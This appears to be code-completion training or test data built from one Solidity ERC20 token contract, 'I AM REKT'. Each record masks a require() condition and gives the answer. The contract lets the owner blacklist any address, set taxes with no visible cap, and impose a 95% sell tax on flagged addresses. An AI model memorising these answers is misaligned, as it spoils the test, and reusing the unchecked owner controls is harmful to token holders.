uniV2Router; mapping(address => mapping(address => uint256)) private _Allowances; mapping(address => uint256) private _Balance; mapping(address => bool) private _MaxExclude; mapping(address => bool) private _TaxExclude; mapping(address => bool) public _Sniper; mapping(address => bool) public _Bot; modifier lockTheSwap() { } string private constant _Name = "I AM REKT"; string private constant _Symbol = "IAMREKT"; uint8 private constant _Decimal = 18; uint256 private constant _Supply = 1e6 * 10**_Decimal; constructor() payable { } receive() external payable {} function name() external pure override returns (string memory) { } function symbol() external pure override returns (string memory) { } function decimals() external pure override returns (uint8) { } function totalSupply() external pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function ContractApprove(address owner,address spender,uint256 amount) internal { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender,address recipient,uint256 amount) external override returns (bool) { } function GOLIVE() external onlyOwner returns (bool){ } function ContractTransfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); require(!_Bot[from], "ERC20: Can not transfer from BOT"); if(!active){ require(<FILL_ME>) } if (maxWalletOn == true && ! _MaxExclude[to]) { require(balanceOf(to).add(amount) <= _MaxWallet, "ERC20: Max amount of tokens for wallet reached"); } if(actions){ if (from != owner() && to != owner() && to != address(0) && to != DEAD && to != uniV2Pair) { for (uint x = 0; x < 1; x++) { if(block.number == LiveBlock.add(x)) { _Sniper[to] = true; } } } } uint256 totalTokensToSwap = liquidityTokens.add(marketingTokens); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _MinTS; if (!isal && sals && balanceOf(uniV2Pair) > 0 && totalTokensToSwap > 0 && !_TaxExclude[to] && !_TaxExclude[from] && to == uniV2Pair && overMinimumTokenBalance) { taxTokenSwap(); } if (_TaxExclude[from] || _TaxExclude[to]) { marketingTax = 0; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } else { if (from == uniV2Pair) { marketingTax = taxBuyMarketing; treasuryTax = taxBuyTreasury; liquidityTax = taxBuyLiquidity; tDivider = taxBuyMarketing.add(taxBuyTreasury).add(taxBuyLiquidity); }else if (to == uniV2Pair) { marketingTax = taxSellMarketing; treasuryTax = taxSellTreasury; liquidityTax = taxSellLiquidity; tDivider = taxSellMarketing.add(taxSellTreasury).add(taxSellLiquidity); if(_Sniper[from] && EndSniperPen >= block.timestamp){ marketingTax = 95; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } }else { require(!_Sniper[from] || EndSniperPen <= block.timestamp, "ERC20: Snipers can not transfer till penalty time is over"); marketingTax = 0; treasuryTax = 0; liquidityTax = 0; } } tokenTransfer(from, to, amount); } function setLiquidityAddress(address LPAddress) internal { } function withdrawStuckETH() external onlyOwner { } function withdrawStuckTokens() external onlyOwner { } function SNIPER_REKT(address account) external onlyOwner { } function removeBot(address account) external onlyOwner { } function removeSniper(address account) external onlyOwner { } function excludFromTax(address account, bool trueORfalse) external onlyOwner { } function excludFromMaxWallet(address account, bool trueORfalse) external onlyOwner { } function maxWalletAmount(uint256 percent, uint256 divider) external onlyOwner { } function statusActions(bool trueORfalse) external onlyOwner { } function statusMaxWallet(bool trueORfalse) external onlyOwner { } function changeSwapAndLiquifyStatus(bool trueORfalse) external onlyOwner { } function zChange( uint256 buyMarketingTax, uint256 buyTreasuryTax, uint256 buyLiquidityTax, uint256 sellMarketingTax, uint256 sellTreasuryTax, uint256 sellLiquidityTax) external onlyOwner { } function taxTokenSwap() internal lockTheSwap { } function swapTokensForETH(uint256 tokenAmount) internal { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { } function calculateTax(uint256 amount) internal view returns (uint256) { } function splitTaxTokens(uint256 taxTokens) internal { } function tokenTransfer(address sender,address recipient,uint256 amount) internal { } }
_TaxExclude[from]||_TaxExclude[to],"ERC20: Trading Is Not active!"
100,019
_TaxExclude[from]||_TaxExclude[to]
"ERC20: Max amount of tokens for wallet reached"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Context { function _msgSender() internal view virtual returns (address) { } } contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract IAMREKT is Context, ERC20Ownable, IERC20{ using SafeMath for uint256; uint256 private _MaxWallet; uint256 private _MinTS; uint256 private marketingTokens; uint256 private treasuryTokens; uint256 private liquidityTokens; uint256 private marketingTax; uint256 private treasuryTax; uint256 private liquidityTax; uint256 private tDivider; uint256 private taxBuyMarketing; uint256 private taxBuyTreasury; uint256 private taxBuyLiquidity; uint256 private taxSellMarketing; uint256 private taxSellTreasury; uint256 private taxSellLiquidity; uint256 public LiveBlock; uint256 public EndSniperPen; bool public actions = false; bool public maxWalletOn = false; bool public active = false; bool isal; bool private sals = false; address payable liquidityAddress; address payable marketingAddress; address payable treasuryAddress; address payable devAddress; address DEAD = address(0xdead); address public uniV2Pair; IUniswapV2Router02 public uniV2Router; mapping(address => mapping(address => uint256)) private _Allowances; mapping(address => uint256) private _Balance; mapping(address => bool) private _MaxExclude; mapping(address => bool) private _TaxExclude; mapping(address => bool) public _Sniper; mapping(address => bool) public _Bot; modifier lockTheSwap() { } string private constant _Name = "I AM REKT"; string private constant _Symbol = "IAMREKT"; uint8 private constant _Decimal = 18; uint256 private constant _Supply = 1e6 * 10**_Decimal; constructor() payable { } receive() external payable {} function name() external pure override returns (string memory) { } function symbol() external pure override returns (string memory) { } function decimals() external pure override returns (uint8) { } function totalSupply() external pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function ContractApprove(address owner,address spender,uint256 amount) internal { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender,address recipient,uint256 amount) external override returns (bool) { } function GOLIVE() external onlyOwner returns (bool){ } function ContractTransfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); require(!_Bot[from], "ERC20: Can not transfer from BOT"); if(!active){ require(_TaxExclude[from] || _TaxExclude[to], "ERC20: Trading Is Not active!"); } if (maxWalletOn == true && ! _MaxExclude[to]) { require(<FILL_ME>) } if(actions){ if (from != owner() && to != owner() && to != address(0) && to != DEAD && to != uniV2Pair) { for (uint x = 0; x < 1; x++) { if(block.number == LiveBlock.add(x)) { _Sniper[to] = true; } } } } uint256 totalTokensToSwap = liquidityTokens.add(marketingTokens); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _MinTS; if (!isal && sals && balanceOf(uniV2Pair) > 0 && totalTokensToSwap > 0 && !_TaxExclude[to] && !_TaxExclude[from] && to == uniV2Pair && overMinimumTokenBalance) { taxTokenSwap(); } if (_TaxExclude[from] || _TaxExclude[to]) { marketingTax = 0; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } else { if (from == uniV2Pair) { marketingTax = taxBuyMarketing; treasuryTax = taxBuyTreasury; liquidityTax = taxBuyLiquidity; tDivider = taxBuyMarketing.add(taxBuyTreasury).add(taxBuyLiquidity); }else if (to == uniV2Pair) { marketingTax = taxSellMarketing; treasuryTax = taxSellTreasury; liquidityTax = taxSellLiquidity; tDivider = taxSellMarketing.add(taxSellTreasury).add(taxSellLiquidity); if(_Sniper[from] && EndSniperPen >= block.timestamp){ marketingTax = 95; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } }else { require(!_Sniper[from] || EndSniperPen <= block.timestamp, "ERC20: Snipers can not transfer till penalty time is over"); marketingTax = 0; treasuryTax = 0; liquidityTax = 0; } } tokenTransfer(from, to, amount); } function setLiquidityAddress(address LPAddress) internal { } function withdrawStuckETH() external onlyOwner { } function withdrawStuckTokens() external onlyOwner { } function SNIPER_REKT(address account) external onlyOwner { } function removeBot(address account) external onlyOwner { } function removeSniper(address account) external onlyOwner { } function excludFromTax(address account, bool trueORfalse) external onlyOwner { } function excludFromMaxWallet(address account, bool trueORfalse) external onlyOwner { } function maxWalletAmount(uint256 percent, uint256 divider) external onlyOwner { } function statusActions(bool trueORfalse) external onlyOwner { } function statusMaxWallet(bool trueORfalse) external onlyOwner { } function changeSwapAndLiquifyStatus(bool trueORfalse) external onlyOwner { } function zChange( uint256 buyMarketingTax, uint256 buyTreasuryTax, uint256 buyLiquidityTax, uint256 sellMarketingTax, uint256 sellTreasuryTax, uint256 sellLiquidityTax) external onlyOwner { } function taxTokenSwap() internal lockTheSwap { } function swapTokensForETH(uint256 tokenAmount) internal { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { } function calculateTax(uint256 amount) internal view returns (uint256) { } function splitTaxTokens(uint256 taxTokens) internal { } function tokenTransfer(address sender,address recipient,uint256 amount) internal { } }
balanceOf(to).add(amount)<=_MaxWallet,"ERC20: Max amount of tokens for wallet reached"
100,019
balanceOf(to).add(amount)<=_MaxWallet
"ERC20: Snipers can not transfer till penalty time is over"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Context { function _msgSender() internal view virtual returns (address) { } } contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract IAMREKT is Context, ERC20Ownable, IERC20{ using SafeMath for uint256; uint256 private _MaxWallet; uint256 private _MinTS; uint256 private marketingTokens; uint256 private treasuryTokens; uint256 private liquidityTokens; uint256 private marketingTax; uint256 private treasuryTax; uint256 private liquidityTax; uint256 private tDivider; uint256 private taxBuyMarketing; uint256 private taxBuyTreasury; uint256 private taxBuyLiquidity; uint256 private taxSellMarketing; uint256 private taxSellTreasury; uint256 private taxSellLiquidity; uint256 public LiveBlock; uint256 public EndSniperPen; bool public actions = false; bool public maxWalletOn = false; bool public active = false; bool isal; bool private sals = false; address payable liquidityAddress; address payable marketingAddress; address payable treasuryAddress; address payable devAddress; address DEAD = address(0xdead); address public uniV2Pair; IUniswapV2Router02 public uniV2Router; mapping(address => mapping(address => uint256)) private _Allowances; mapping(address => uint256) private _Balance; mapping(address => bool) private _MaxExclude; mapping(address => bool) private _TaxExclude; mapping(address => bool) public _Sniper; mapping(address => bool) public _Bot; modifier lockTheSwap() { } string private constant _Name = "I AM REKT"; string private constant _Symbol = "IAMREKT"; uint8 private constant _Decimal = 18; uint256 private constant _Supply = 1e6 * 10**_Decimal; constructor() payable { } receive() external payable {} function name() external pure override returns (string memory) { } function symbol() external pure override returns (string memory) { } function decimals() external pure override returns (uint8) { } function totalSupply() external pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function ContractApprove(address owner,address spender,uint256 amount) internal { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender,address recipient,uint256 amount) external override returns (bool) { } function GOLIVE() external onlyOwner returns (bool){ } function ContractTransfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); require(!_Bot[from], "ERC20: Can not transfer from BOT"); if(!active){ require(_TaxExclude[from] || _TaxExclude[to], "ERC20: Trading Is Not active!"); } if (maxWalletOn == true && ! _MaxExclude[to]) { require(balanceOf(to).add(amount) <= _MaxWallet, "ERC20: Max amount of tokens for wallet reached"); } if(actions){ if (from != owner() && to != owner() && to != address(0) && to != DEAD && to != uniV2Pair) { for (uint x = 0; x < 1; x++) { if(block.number == LiveBlock.add(x)) { _Sniper[to] = true; } } } } uint256 totalTokensToSwap = liquidityTokens.add(marketingTokens); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _MinTS; if (!isal && sals && balanceOf(uniV2Pair) > 0 && totalTokensToSwap > 0 && !_TaxExclude[to] && !_TaxExclude[from] && to == uniV2Pair && overMinimumTokenBalance) { taxTokenSwap(); } if (_TaxExclude[from] || _TaxExclude[to]) { marketingTax = 0; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } else { if (from == uniV2Pair) { marketingTax = taxBuyMarketing; treasuryTax = taxBuyTreasury; liquidityTax = taxBuyLiquidity; tDivider = taxBuyMarketing.add(taxBuyTreasury).add(taxBuyLiquidity); }else if (to == uniV2Pair) { marketingTax = taxSellMarketing; treasuryTax = taxSellTreasury; liquidityTax = taxSellLiquidity; tDivider = taxSellMarketing.add(taxSellTreasury).add(taxSellLiquidity); if(_Sniper[from] && EndSniperPen >= block.timestamp){ marketingTax = 95; treasuryTax = 0; liquidityTax = 0; tDivider = marketingTax.add(treasuryTax).add(liquidityTax); } }else { require(<FILL_ME>) marketingTax = 0; treasuryTax = 0; liquidityTax = 0; } } tokenTransfer(from, to, amount); } function setLiquidityAddress(address LPAddress) internal { } function withdrawStuckETH() external onlyOwner { } function withdrawStuckTokens() external onlyOwner { } function SNIPER_REKT(address account) external onlyOwner { } function removeBot(address account) external onlyOwner { } function removeSniper(address account) external onlyOwner { } function excludFromTax(address account, bool trueORfalse) external onlyOwner { } function excludFromMaxWallet(address account, bool trueORfalse) external onlyOwner { } function maxWalletAmount(uint256 percent, uint256 divider) external onlyOwner { } function statusActions(bool trueORfalse) external onlyOwner { } function statusMaxWallet(bool trueORfalse) external onlyOwner { } function changeSwapAndLiquifyStatus(bool trueORfalse) external onlyOwner { } function zChange( uint256 buyMarketingTax, uint256 buyTreasuryTax, uint256 buyLiquidityTax, uint256 sellMarketingTax, uint256 sellTreasuryTax, uint256 sellLiquidityTax) external onlyOwner { } function taxTokenSwap() internal lockTheSwap { } function swapTokensForETH(uint256 tokenAmount) internal { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { } function calculateTax(uint256 amount) internal view returns (uint256) { } function splitTaxTokens(uint256 taxTokens) internal { } function tokenTransfer(address sender,address recipient,uint256 amount) internal { } }
!_Sniper[from]||EndSniperPen<=block.timestamp,"ERC20: Snipers can not transfer till penalty time is over"
100,019
!_Sniper[from]||EndSniperPen<=block.timestamp
"ERC20: Account already added"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Context { function _msgSender() internal view virtual returns (address) { } } contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract IAMREKT is Context, ERC20Ownable, IERC20{ using SafeMath for uint256; uint256 private _MaxWallet; uint256 private _MinTS; uint256 private marketingTokens; uint256 private treasuryTokens; uint256 private liquidityTokens; uint256 private marketingTax; uint256 private treasuryTax; uint256 private liquidityTax; uint256 private tDivider; uint256 private taxBuyMarketing; uint256 private taxBuyTreasury; uint256 private taxBuyLiquidity; uint256 private taxSellMarketing; uint256 private taxSellTreasury; uint256 private taxSellLiquidity; uint256 public LiveBlock; uint256 public EndSniperPen; bool public actions = false; bool public maxWalletOn = false; bool public active = false; bool isal; bool private sals = false; address payable liquidityAddress; address payable marketingAddress; address payable treasuryAddress; address payable devAddress; address DEAD = address(0xdead); address public uniV2Pair; IUniswapV2Router02 public uniV2Router; mapping(address => mapping(address => uint256)) private _Allowances; mapping(address => uint256) private _Balance; mapping(address => bool) private _MaxExclude; mapping(address => bool) private _TaxExclude; mapping(address => bool) public _Sniper; mapping(address => bool) public _Bot; modifier lockTheSwap() { } string private constant _Name = "I AM REKT"; string private constant _Symbol = "IAMREKT"; uint8 private constant _Decimal = 18; uint256 private constant _Supply = 1e6 * 10**_Decimal; constructor() payable { } receive() external payable {} function name() external pure override returns (string memory) { } function symbol() external pure override returns (string memory) { } function decimals() external pure override returns (uint8) { } function totalSupply() external pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function ContractApprove(address owner,address spender,uint256 amount) internal { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender,address recipient,uint256 amount) external override returns (bool) { } function GOLIVE() external onlyOwner returns (bool){ } function ContractTransfer(address from, address to, uint256 amount) internal { } function setLiquidityAddress(address LPAddress) internal { } function withdrawStuckETH() external onlyOwner { } function withdrawStuckTokens() external onlyOwner { } function SNIPER_REKT(address account) external onlyOwner { require(<FILL_ME>) _Bot[account] = true; } function removeBot(address account) external onlyOwner { } function removeSniper(address account) external onlyOwner { } function excludFromTax(address account, bool trueORfalse) external onlyOwner { } function excludFromMaxWallet(address account, bool trueORfalse) external onlyOwner { } function maxWalletAmount(uint256 percent, uint256 divider) external onlyOwner { } function statusActions(bool trueORfalse) external onlyOwner { } function statusMaxWallet(bool trueORfalse) external onlyOwner { } function changeSwapAndLiquifyStatus(bool trueORfalse) external onlyOwner { } function zChange( uint256 buyMarketingTax, uint256 buyTreasuryTax, uint256 